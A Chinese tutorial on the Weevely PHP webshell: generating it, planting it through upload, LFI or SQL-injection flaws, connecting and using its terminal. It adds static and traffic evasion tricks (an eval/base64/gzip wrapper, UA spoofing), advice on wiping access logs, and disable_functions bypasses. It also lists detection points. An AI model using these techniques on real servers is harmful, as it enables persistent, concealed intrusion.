1. 从Webshell到权限维持理解服务端脚本的实战价值很多人听到Webshell这个词第一反应是攻击者的专属武器。但在实际的Web开发和运维工作中服务端脚本的远程管理能力一直是绕不开的话题——生产环境出了问题你总得有个途径去执行命令、查看日志、调整配置。传统的做法是SSH登录服务器但有些场景下Web服务器和终端之间隔着重重网络策略这时候一个轻量级的HTTP后门脚本就成了应急响应的救命稻草。我在实际项目里遇到过好几次这样的情况客户的PHP应用莫名其妙被上传了恶意文件我需要快速判断文件内容、检查服务器上的可疑进程但客户只开放了80端口和443端口SSH完全不通。这时候如果能用一个PHP脚本快速建立一条加密的命令通道整个排查效率会提升很多。当然这不是让你去做违法的事而是作为安全从业者你必须比攻击者更熟悉这些工具的原理和使用方式才能在对抗中不被绕过去。Kali Linux自带了一大堆现成的工具Weevely就是其中一个很典型的PHP后门生成器。它生成的脚本体积小、流量特征不明显而且自带加密通信机制配上终端交互界面用起来跟SSH有点像。接下来我会从工具原理、脚本生成、连接配置、功能操作到排查技巧完整带你过一遍这条链路。1.1 为什么选择Weevely而不是其他工具Kali里叫得上名字的后门工具不少像Metasploit的Payload、Powershell Empire、还有各种开源Webshell管理器。但在PHP场景下Weevely有它独特的优势。第一脚本体积极其克制。生成出来的PHP文件通常只有几KB到十几KB混在一堆正常PHP文件里很难通过文件大小引起注意。第二通信层默认加密。Weevely的每一次请求都会经过内置的混淆和加密处理不是明文命令直接传输这降低了流量审计阶段的暴露风险。第三自带的终端功能相对完整文件管理、端口扫描、上传下载这些常规操作都能直接在交互终端里完成不需要额外再传工具。我自己的体会是Weevely更像一个为PHP环境量身定制的轻量管理通道而不是一个万能渗透框架。它解决的是已经拿到PHP执行权限之后如何稳定维持并开展后续工作这个问题定位非常清晰。2. 环境准备Kali下的工具链梳理动手之前先把环境搞清楚。Weevely在Kali里的安装方式很简单但不同版本的Kali可能略有差异这里我推荐直接使用系统自带的包管理器因为Kali官方仓库里已经收录了这个工具。apt update apt install weevely -y装完之后执行weevely --help看一下输出如果能看到版本号和命令参数说明说明安装成功了。另外需要准备一个PHP运行环境作为靶机。最省事的办法是本地用Docker起一个PHP容器或者直接用php -S起一个开发服务器。我在测试时习惯用Docker因为它可以随时快照和恢复方便对比不同版本的PHP环境下的表现。docker run -d -p 8080:80 --name php-env php:7.4-apache这里多提醒一句Weevely对PHP版本的兼容性总体不错PHP 5.x到8.x都能跑但如果你用的是PHP 8.1以上的环境某些函数可能已经被禁用或移除后面我会专门讲到踩坑记录。2.1 工具安装的常见弯路有些人下载了Weevely的源码压缩包解压后直接跑python weevely.py结果报错说缺依赖。其实Kali仓库里的版本已经把依赖打包好了用apt装最省心。如果你一定要从GitHub拉源码记得先装好python3-pip然后通过pip3 install -r requirements.txt补齐依赖。还有一个细节Weevely生成的脚本和连接端存在版本对应关系你用老版本的Weevely去连新版本生成的脚本很可能出现握手失败的情况。所以在实际操作中尽量保持工具版本的统一。3. 生成PHP后门脚本参数解析与命令实战Weevely生成脚本的命令格式非常固定weevely generate 密码 输出路径这里面的密码不是系统登录密码而是后续连接脚本时用来做加解密密钥的种子。它至少要8位建议用随机生成的一串字符避免被字典爆破。我实际执行一下weevely generate aB3dF9kL2mN ./shell.php命令执行后当前目录下会生成一个shell.php文件。用cat shell.php看一下内容你会发现代码是经过混淆压缩的正常阅读几乎不可能。这就是Weevely的设计原则脚本端尽量不可读连接端通过密码种子还原通信逻辑。3.1 脚本落地的路径选择生成脚本只是第一步真正考验水平的是怎么把文件放到目标服务器上并让它被执行。常见的途径包括文件上传漏洞比如头像上传、附件上传接口没有严格校验文件类型直接传一个PHP脚本上去。本地文件包含配合日志注入通过包含日志文件的漏洞写入PHP代码然后通过Web访问触发。SQL注入写文件数据库权限足够大时通过SELECT ... INTO OUTFILE写入Web目录。备份文件替换如果目标站有自动备份功能且备份包可以被覆盖可以在备份里植入脚本然后恢复。不管哪种方式落地之后一定要确认脚本能被Web服务器正常解析。最简单的验证方法直接用浏览器访问shell.php如果页面空白或者没有任何输出说明脚本已经被执行了。我个人的操作习惯是先访问一次确认脚本存活再马上用Weevely连接避免脚本落地后长时间暴露在日志里。第一个字节的输出可能会因为PHP配置里的display_errors开启而泄露异常这一点也需要注意。3.2 密码复杂度与脚本安全性的关系有人会觉得反正脚本内容已经混淆了密码随便设个123456行不行。我劝你千万别这么干。Weevely的密码种子直接影响所有请求的加密密钥派生如果密钥太简单攻击者或者流量审计系统可以通过暴力枚举的方式还原通信内容。密码建议用至少12位的随机组合包含大小写字母、数字和特殊符号。比如Wev3ly_R0ck5_2024这种级别的密码即使流量被全量抓取短期内也很难被破解。4. 建立连接与密码学握手流程脚本上传完毕接下来就是用Weevely的终端去连接它。命令格式是weevely 脚本URL 密码举个实际例子weevely http://127.0.0.1:8080/shell.php aB3dF9kL2mN连接成功后你会进入一个交互式终端提示符类似[] weevely 3.7.0 [] Target: http://127.0.0.1:8080/shell.php [] Session: /root/.weevely/sessions/xxxxx.session [] Browse the filesystem or execute commands: help到这一步通道基本上就算建立起来了。但很多人会忽略一个细节Weevely在建立连接时会尝试在客户端本地保存一个会话文件后续再次连接同一个目标时可以直接复用会话而不需要重新握手。这个设计对长期权限维持很有用。4.1 握手过程的原理拆解Weevely的握手过程大致是这样客户端向脚本URL发起HTTP请求附带用户输入的密码。脚本端检查密码是否正确如果正确返回一串由密码种子派生出的临时密钥信息。客户端用这个密钥信息加密后续的所有指令脚本端也在同一密钥体系下解密和执行命令。命令执行结果经过加密后返回给客户端。整个过程没有明文传输任何命令内容这在流量层面对抗检测有天然优势。不过要注意Weevely的加密算法并不是无懈可击的它对流量特征的混淆程度有限。如果目标网络部署了专业的WebShell检测引擎仍然可能存在被识别的风险。这也是为什么后面要专门讲流量处理和免杀思路。5. 终端功能实战不只是执行命令Weevely的终端能做的事情远超你的想象。我挑几个高频功能实际演示一下。5.1 文件操作与目录漫游输入help能看到完整命令列表常用的有:file_ls列出当前目录文件:file_cd切换目录:file_cat查看文件内容:file_upload上传本地文件到目标服务器:file_download下载目标服务器文件到本地:file_rm删除目标文件:file_touch创建空文件举个例子查看当前目录的隐藏文件:file_ls -a输出会显示包括.htaccess、index.php在内的完整目录列表。这种功能在应急排查场景下非常实用——你可以快速浏览可疑目录判断恶意文件都散落在哪些位置。5.2 命令执行与交互式Shell直接敲系统命令就能在目标机器上执行。比如查看当前用户和权限id输出类似uid33(www-data) gid33(www-data) groups33(www-data)这里有个经验点Webshell执行命令的用户身份通常就是Web服务运行用户在Debian/Ubuntu系一般是www-data权限等级很低。如果后续需要提权操作那就得另想办法了。另外Weevely还支持交互式命令比如用:shell_sh启动一个标准的Shell会话这个会话里的体验比直接敲命令更接近SSH。不过它本质还是走的HTTP通道网络波动大时容易出现卡顿或断连。5.3 端口扫描与内网探测Weevely内置了:port_scan模块可以对目标内网的其他主机做简单的TCP端口扫描:port_scan 127.0.0.1 8080,3306,22这个功能在权限维持和横向移动的前期侦察阶段非常有用。但你也要理解它的局限性Weevely的端口扫描是串行执行的速度慢而且每次HTTP请求都会有特征大规模扫描并不现实。我的建议是仅用于小范围、短时间的端口状态确认别指望它能替代专业的扫描工具。6. 流量特征分析与免杀实战技巧讲完功能回到大家最关心的免杀问题。Weevely本身的检测难度不算低但并非无法检测。业内主流的安全产品、WebShell检测引擎大多能从以下几个维度去识别它。6.1 静态特征Weevely生成的PHP脚本虽然是混淆过的但还是有一些固定特征可循。比如脚本文件头部几乎总是一串很长的base64编码字符串解码后可以看到明显的函数调用结构。另外脚本里通常会包含preg_replace或者eval这类高危函数。针对静态检测的免杀思路最常用的手段是二次混淆。你可以自己对生成的脚本再进行一层编码处理比如用GZip压缩后base64编码然后在前面加一小段解压执行逻辑。这样原始脚本的函数名和关键字符串就不会直接暴露在文件内容里。我提供一个简单的二次封装思路?php $code 这里粘贴Weevely生成脚本的base64内容; $code base64_decode($code); $code gzuncompress($code); eval($code); ?这种做法能绕过一部分仅做字符串匹配的静态查杀工具但对行为检测引擎没什么用。6.2 流量特征Weevely的HTTP请求有相对固定的结构请求体往往是JSON格式包含a动作类型和c命令内容等字段且字段名在同一个会话内保持一致。此外每次请求的UAUser-Agent默认设置为Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0这个UA在多目标审计时容易被归纳为特征库。要降低流量特征可以这样做修改Weevely源码里的默认UA改成和目标环境匹配的浏览器UA。对请求体做进一步自定义填充让JSON结构看起来不那么规整。把Weevely通信嵌入到正常的业务请求路径里比如伪装成后台的数据统计接口。我在一次测试里把Weevely的UA改成了目标站点自己前端JS里发出的请求UA流量审计系统确实没有再单独报警。但说实话这种手段能撑多久全看检测规则的更新速度不是一劳永逸的办法。6.3 PHP版本差异带来的坑前面提到过PHP 8.1以上环境对某些函数的限制非常严格。最典型的是preg_replace的/e修饰符在PHP 7.0就被移除了如果Weevely生成的脚本依赖这个特性在高版本PHP下会直接报错无法使用。遇到这种情况优先考虑换用其他PHP后门方案比如直接用assert配合eval拼装的简单脚本或者干脆改用一个基于PHP原生函数自写的加密通信脚本。Weevely的高版本已经对PHP 7.x做了适配但8.x环境下还是存在不确定性。7. 实战演练完整走一遍流程为了让你对整个过程有更直观的感受我模拟一次完整的实战流程从脚本生成到权限获取再到痕迹清理。7.1 第一步靶机环境本地Docker起一个PHP环境docker run -d -p 8080:80 --name target php:7.4-apache进入容器在Web根目录创建一个upload目录模拟一个可写文件区域docker exec -it target bash mkdir /var/www/html/upload chown www-data:www-data /var/www/html/upload7.2 第二步生成并上传脚本本机生成脚本weevely generate Kd8#sQp2!zX ./tmp_upload.php然后通过Docker的docker cp命令把脚本拷贝到容器Web目录docker cp tmp_upload.php target:/var/www/html/upload/tmp_upload.php这一步在真实场景里对应的就是漏洞利用的落地上传环节。7.3 第三步连接并执行命令weevely http://127.0.0.1:8080/upload/tmp_upload.php Kd8#sQp2!zX连接成功后运行一个命令看看whoami输出www-data然后查看Web目录的完整结构:file_ls -la /var/www/html7.4 第四步清理痕迹清理痕迹是重要且容易被忽略的环节。常见需要做的事包括删除自己创建的临时上传文件清理Web访问日志里对应时间段的访问记录恢复被修改过的文件时间戳在Docker测试环境里删除脚本文件只需要:file_rm /var/www/html/upload/tmp_upload.php但真实场景哪有这么简单。Web日志通常会记录下你每一次请求的URL、UA和状态码如果不清理事后审计一查一个准。建议在进入目标前先摸清日志路径常见的有/var/log/apache2/access.log、/var/log/nginx/access.log。8. 常见问题与排查技巧实录我在测试和使用Weevely的过程中踩过不少坑下面整理成表格方便你快速对照排查。问题现象可能原因解决思路连接时提示auth failed密码输错或脚本被篡改确认脚本内容完整重新输入密码能连上但所有命令都返回空PHP禁用了危险函数检查disable_functions改用:shell_sh模块上传文件提示成功但服务器上找不到上传目录不可写先执行:file_ls确认目录权限执行命令超时HTTP代理拦截了大体积请求拆分成多条小命令执行脚本被执行但页面报500错误PHP版本兼容性问题换用兼容性更好的脚本方案访问脚本直接下载而不是执行Web服务器没有配置PHP解析检查目标站点的解析规则8.1 PHP禁用函数的应对策略很多安全加固做得好的服务器都会在php.ini里配置disable_functions常见的禁用列表包括disable_functions system,exec,passthru,shell_exec,popen这时候Weevely直接执行系统命令就会失败。我试过绕过的思路是查找哪些高危函数没有被禁用比如proc_open、pcntl_exec。利用LD_PRELOAD环境变量配合mail()函数实现命令执行。用.htaccess方式切换PHP运行模式有时可以绕过配置限制。但这些都属于高对抗场景的进阶操作不一定每次都成功纯粹分享一下思路。8.2 会话文件的管理Weevely每次连接都会在/root/.weevely/sessions/目录下生成一个会话文件。这个文件记录了目标URL、加密密钥、当前目录等信息。如果本机被其他人接触到会话文件泄露等于把通道控制权交出去了。所以我建议测试完成后主动删除会话文件一台机器上不要同时保存太多目标会话重要测试项目使用独立虚拟机环境9. 从攻防视角看如何检测与防范光会用工具还不够站在防守方角度重新审视这个过程你会发现很多可以落地的检测点。在Web层可以重点监控这样几类异常文件上传接口是否出现了内容类型与文件头不一致的情况同一IP短时间内对多个PHP文件发起高频访问请求体中出现大量base64编码字段且字段名固定极少访问的目录突然出现了新的PHP文件在主机层可以关注Web运行用户是否执行了异常命令/tmp、/var/tmp等目录是否出现可疑文件Web日志中是否存在Weevely相关特征字符串如果是在做等保或红队评估项目建议把这些检测点做成自动化脚本能省不少人工时间。10. 写在最后的个人建议Weevely这个工具本身其实是一把双刃剑。对安全从业者来说它是渗透测试和应急响应工具箱里常见的角色但要是被居心不良的人拿去用那就是一条不归路。我的建议是所有的技术练习都放在自己搭建的实验环境里不要对外部未授权的系统做任何操作这是安全从业者的基本底线。如果你是想往Web安全、代码审计方向发展的新手我强烈建议你把Weevely的原理完整搞懂再从防守方视角去研究它的检测与溯源方法。这样你既知道了矛又了解了盾遇到实际问题才不会手忙脚乱。最后分享一个小技巧在Kali里用Weevely练习时配合Burp Suite做代理抓包把整个通信过程完整观察一遍你会对它的加密机制和请求结构有远比看文档更深的理解。这一步走通了你就真正入门了。